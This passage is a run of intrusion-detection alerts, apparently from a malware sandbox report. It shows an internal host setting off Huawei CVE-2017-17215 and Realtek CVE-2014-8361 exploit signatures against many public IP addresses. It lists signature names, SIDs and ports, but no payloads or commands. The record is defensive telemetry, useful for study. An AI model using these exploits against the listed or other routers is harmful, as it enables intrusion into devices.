Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.37.177.219

Timestamp:	07/20/24-23:01:02.412791
SID:	2835222
Source Port:	54692
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.52.180.202

Timestamp:	07/20/24-23:01:25.285323
SID:	2829579
Source Port:	34064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.211.184.211

Timestamp:	07/20/24-23:01:22.783280
SID:	2835222
Source Port:	48636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.227.132.38

Timestamp:	07/20/24-23:01:22.781976
SID:	2835222
Source Port:	48446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 42.61.239.97

Timestamp:	07/20/24-23:01:22.766451
SID:	2835222
Source Port:	43998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 156.230.140.45

Timestamp:	07/20/24-23:01:05.807426
SID:	2025132
Source Port:	38754
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 184.194.94.116

Timestamp:	07/20/24-23:01:11.478031
SID:	2829579
Source Port:	50980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.137.199.87

Timestamp:	07/20/24-23:01:14.397897
SID:	2829579
Source Port:	36034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 105.235.42.192

Timestamp:	07/20/24-23:01:34.972618
SID:	2831300
Source Port:	41950
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 24.132.91.59

Timestamp:	07/20/24-23:01:02.411076
SID:	2835222
Source Port:	45886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 85.249.61.53

Timestamp:	07/20/24-23:01:07.658956
SID:	2829579
Source Port:	50664
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 76.61.195.47

Timestamp:	07/20/24-23:01:34.923716
SID:	2831300
Source Port:	58860
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.146.181.67

Timestamp:	07/20/24-23:01:07.680463
SID:	2829579
Source Port:	59724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.52.132.153

Timestamp:	07/20/24-23:01:14.416273
SID:	2835222
Source Port:	54356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.214.189.107

Timestamp:	07/20/24-23:01:14.398311
SID:	2829579
Source Port:	44836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 138.235.159.241

Timestamp:	07/20/24-23:01:34.938216
SID:	2831300
Source Port:	54938
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.156.215.126

Timestamp:	07/20/24-23:01:02.415804
SID:	2829579
Source Port:	45326
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 175.255.8.55

Timestamp:	07/20/24-23:01:22.788405
SID:	2835222
Source Port:	46534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.14.126.34

Timestamp:	07/20/24-23:01:37.122448
SID:	2829579
Source Port:	37672
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 126.196.232.72

Timestamp:	07/20/24-23:01:19.231228
SID:	2829579
Source Port:	54842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.14.167.217

Timestamp:	07/20/24-23:01:37.227564
SID:	2835222
Source Port:	55158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.199.66.57

Timestamp:	07/20/24-23:01:33.046879
SID:	2829579
Source Port:	44442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 68.93.103.227

Timestamp:	07/20/24-23:01:05.523574
SID:	2025132
Source Port:	42798
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 14.177.37.112

Timestamp:	07/20/24-23:01:24.741442
SID:	2027339
Source Port:	35624
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 131.109.219.124

Timestamp:	07/20/24-23:01:30.878337
SID:	2025132
Source Port:	55804
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.22.174.90

Timestamp:	07/20/24-23:01:11.454990
SID:	2829579
Source Port:	36974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 83.126.62.152

Timestamp:	07/20/24-23:01:25.230742
SID:	2829579
Source Port:	58672
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 101.76.187.95

Timestamp:	07/20/24-23:01:34.561729
SID:	2027339
Source Port:	50172
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 94.45.75.174

Timestamp:	07/20/24-23:01:29.189808
SID:	2831300
Source Port:	54188
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 187.169.124.166

Timestamp:	07/20/24-23:01:05.898280
SID:	2835222
Source Port:	46414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 14.9.177.37

Timestamp:	07/20/24-23:01:24.432437
SID:	2027339
Source Port:	51304
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.253.233.93

Timestamp:	07/20/24-23:01:25.289824
SID:	2835222
Source Port:	56816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 71.117.212.206

Timestamp:	07/20/24-23:01:37.164417
SID:	2835222
Source Port:	49980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.11.29.10

Timestamp:	07/20/24-23:01:02.411903
SID:	2835222
Source Port:	44176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 117.157.75.129

Timestamp:	07/20/24-23:01:02.412965
SID:	2835222
Source Port:	49258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.31.140.76

Timestamp:	07/20/24-23:01:02.413580
SID:	2835222
Source Port:	36104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.145.5.36

Timestamp:	07/20/24-23:01:02.415804
SID:	2835222
Source Port:	44924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.60.163.175

Timestamp:	07/20/24-23:01:07.676384
SID:	2835222
Source Port:	42980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 71.96.116.185

Timestamp:	07/20/24-23:01:13.331580
SID:	2831300
Source Port:	53624
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 59.155.45.17

Timestamp:	07/20/24-23:01:32.294949
SID:	2027339
Source Port:	39508
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.145.245.15

Timestamp:	07/20/24-23:01:19.220180
SID:	2829579
Source Port:	59928
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 88.250.101.128

Timestamp:	07/20/24-23:01:24.749806
SID:	2027339
Source Port:	38970
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.114.223.179

Timestamp:	07/20/24-23:01:02.440637
SID:	2829579
Source Port:	58450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.5.49.247

Timestamp:	07/20/24-23:01:07.658956
SID:	2835222
Source Port:	42562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 128.10.172.66

Timestamp:	07/20/24-23:01:34.908059
SID:	2027339
Source Port:	36340
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.19.62.203

Timestamp:	07/20/24-23:01:33.071289
SID:	2829579
Source Port:	54352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.3.184.17

Timestamp:	07/20/24-23:01:11.461509
SID:	2829579
Source Port:	45696
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 110.190.170.59

Timestamp:	07/20/24-23:01:13.335418
SID:	2831300
Source Port:	45158
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 50.184.118.30

Timestamp:	07/20/24-23:01:33.177248
SID:	2027339
Source Port:	40194
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.140.242.193

Timestamp:	07/20/24-23:01:07.658261
SID:	2829579
Source Port:	51348
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 108.190.226.99

Timestamp:	07/20/24-23:01:25.021604
SID:	2027339
Source Port:	52968
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.107.164.92

Timestamp:	07/20/24-23:01:05.905239
SID:	2829579
Source Port:	46630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 118.202.81.69

Timestamp:	07/20/24-23:01:19.225050
SID:	2829579
Source Port:	58530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.53.92.139

Timestamp:	07/20/24-23:01:25.234700
SID:	2829579
Source Port:	40462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 202.140.60.188

Timestamp:	07/20/24-23:01:13.329660
SID:	2027339
Source Port:	44492
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 179.90.129.47

Timestamp:	07/20/24-23:01:13.333893
SID:	2027339
Source Port:	33128
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.140.225.255

Timestamp:	07/20/24-23:01:07.647712
SID:	2835222
Source Port:	42796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 110.189.251.29

Timestamp:	07/20/24-23:01:34.972618
SID:	2831300
Source Port:	36140
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.155.250.14

Timestamp:	07/20/24-23:01:37.122448
SID:	2829579
Source Port:	35374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 31.12.43.213

Timestamp:	07/20/24-23:01:28.216939
SID:	2835222
Source Port:	47796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.211.156.8

Timestamp:	07/20/24-23:01:05.895754
SID:	2829579
Source Port:	44408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 87.15.36.118

Timestamp:	07/20/24-23:01:11.456952
SID:	2829579
Source Port:	50894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 82.217.52.153

Timestamp:	07/20/24-23:01:22.769838
SID:	2829579
Source Port:	39296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.180.225.158

Timestamp:	07/20/24-23:01:07.684526
SID:	2829579
Source Port:	41978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 201.188.111.248

Timestamp:	07/20/24-23:01:29.170362
SID:	2027339
Source Port:	47508
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 133.108.16.92

Timestamp:	07/20/24-23:01:33.094838
SID:	2835222
Source Port:	47072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.209.246.42

Timestamp:	07/20/24-23:01:14.406708
SID:	2835222
Source Port:	54184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 41.70.70.158

Timestamp:	07/20/24-23:01:13.332260
SID:	2831300
Source Port:	59932
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.136.163.60

Timestamp:	07/20/24-23:01:22.790734
SID:	2835222
Source Port:	38814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 210.67.14.178

Timestamp:	07/20/24-23:01:34.949876
SID:	2831300
Source Port:	52072
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.216.80.38

Timestamp:	07/20/24-23:01:19.233507
SID:	2829579
Source Port:	33770
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.87.10.123

Timestamp:	07/20/24-23:01:11.454417
SID:	2835222
Source Port:	48940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 27.74.90.8

Timestamp:	07/20/24-23:01:34.927371
SID:	2831300
Source Port:	39676
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.53.255.157

Timestamp:	07/20/24-23:01:22.792913
SID:	2835222
Source Port:	55434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 71.235.40.59

Timestamp:	07/20/24-23:01:34.918353
SID:	2027339
Source Port:	36412
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 101.101.61.174

Timestamp:	07/20/24-23:01:33.036114
SID:	2829579
Source Port:	39130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.30.110.231

Timestamp:	07/20/24-23:01:28.214698
SID:	2829579
Source Port:	36422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 83.5.165.222

Timestamp:	07/20/24-23:01:25.278588
SID:	2829579
Source Port:	45418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 200.240.232.128

Timestamp:	07/20/24-23:01:28.219332
SID:	2829579
Source Port:	57656
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.4.62.49

Timestamp:	07/20/24-23:01:11.456952
SID:	2835222
Source Port:	49566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.116.51.206

Timestamp:	07/20/24-23:01:28.142774
SID:	2829579
Source Port:	34732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 144.251.49.213

Timestamp:	07/20/24-23:01:24.076619
SID:	2831300
Source Port:	56946
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.34.107.16

Timestamp:	07/20/24-23:01:05.902118
SID:	2835222
Source Port:	49318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 181.7.138.240

Timestamp:	07/20/24-23:01:05.905239
SID:	2835222
Source Port:	47388
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 91.137.254.120

Timestamp:	07/20/24-23:01:32.773577
SID:	2025132
Source Port:	43880
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 115.207.235.241

Timestamp:	07/20/24-23:01:34.949876
SID:	2831300
Source Port:	40684
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.118.39.16

Timestamp:	07/20/24-23:01:37.167957
SID:	2829579
Source Port:	52066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 53.194.224.249

Timestamp:	07/20/24-23:01:37.217137
SID:	2835222
Source Port:	54070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.12.227.51

Timestamp:	07/20/24-23:01:02.405571
SID:	2835222
Source Port:	55680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.234.118.231

Timestamp:	07/20/24-23:01:07.658261
SID:	2835222
Source Port:	41598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 88.250.101.128

Timestamp:	07/20/24-23:01:29.179619
SID:	2027339
Source Port:	39558
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 35.151.246.95

Timestamp:	07/20/24-23:01:33.901971
SID:	2025132
Source Port:	56512
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 223.125.41.63

Timestamp:	07/20/24-23:01:34.945580
SID:	2831300
Source Port:	35542
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.171.101.241

Timestamp:	07/20/24-23:01:33.049931
SID:	2829579
Source Port:	37904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.70.79.248

Timestamp:	07/20/24-23:01:11.477131
SID:	2829579
Source Port:	49936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 35.91.143.191

Timestamp:	07/20/24-23:01:13.332260
SID:	2831300
Source Port:	40452
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 170.186.56.154

Timestamp:	07/20/24-23:01:30.879044
SID:	2025132
Source Port:	43326
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 101.191.129.126

Timestamp:	07/20/24-23:01:05.573784
SID:	2025132
Source Port:	33816
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.12.159.55

Timestamp:	07/20/24-23:01:07.674222
SID:	2835222
Source Port:	54388
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 118.204.104.96

Timestamp:	07/20/24-23:01:29.171040
SID:	2831300
Source Port:	59746
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.243.57.159

Timestamp:	07/20/24-23:01:02.411645
SID:	2829579
Source Port:	50160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.96.220.109

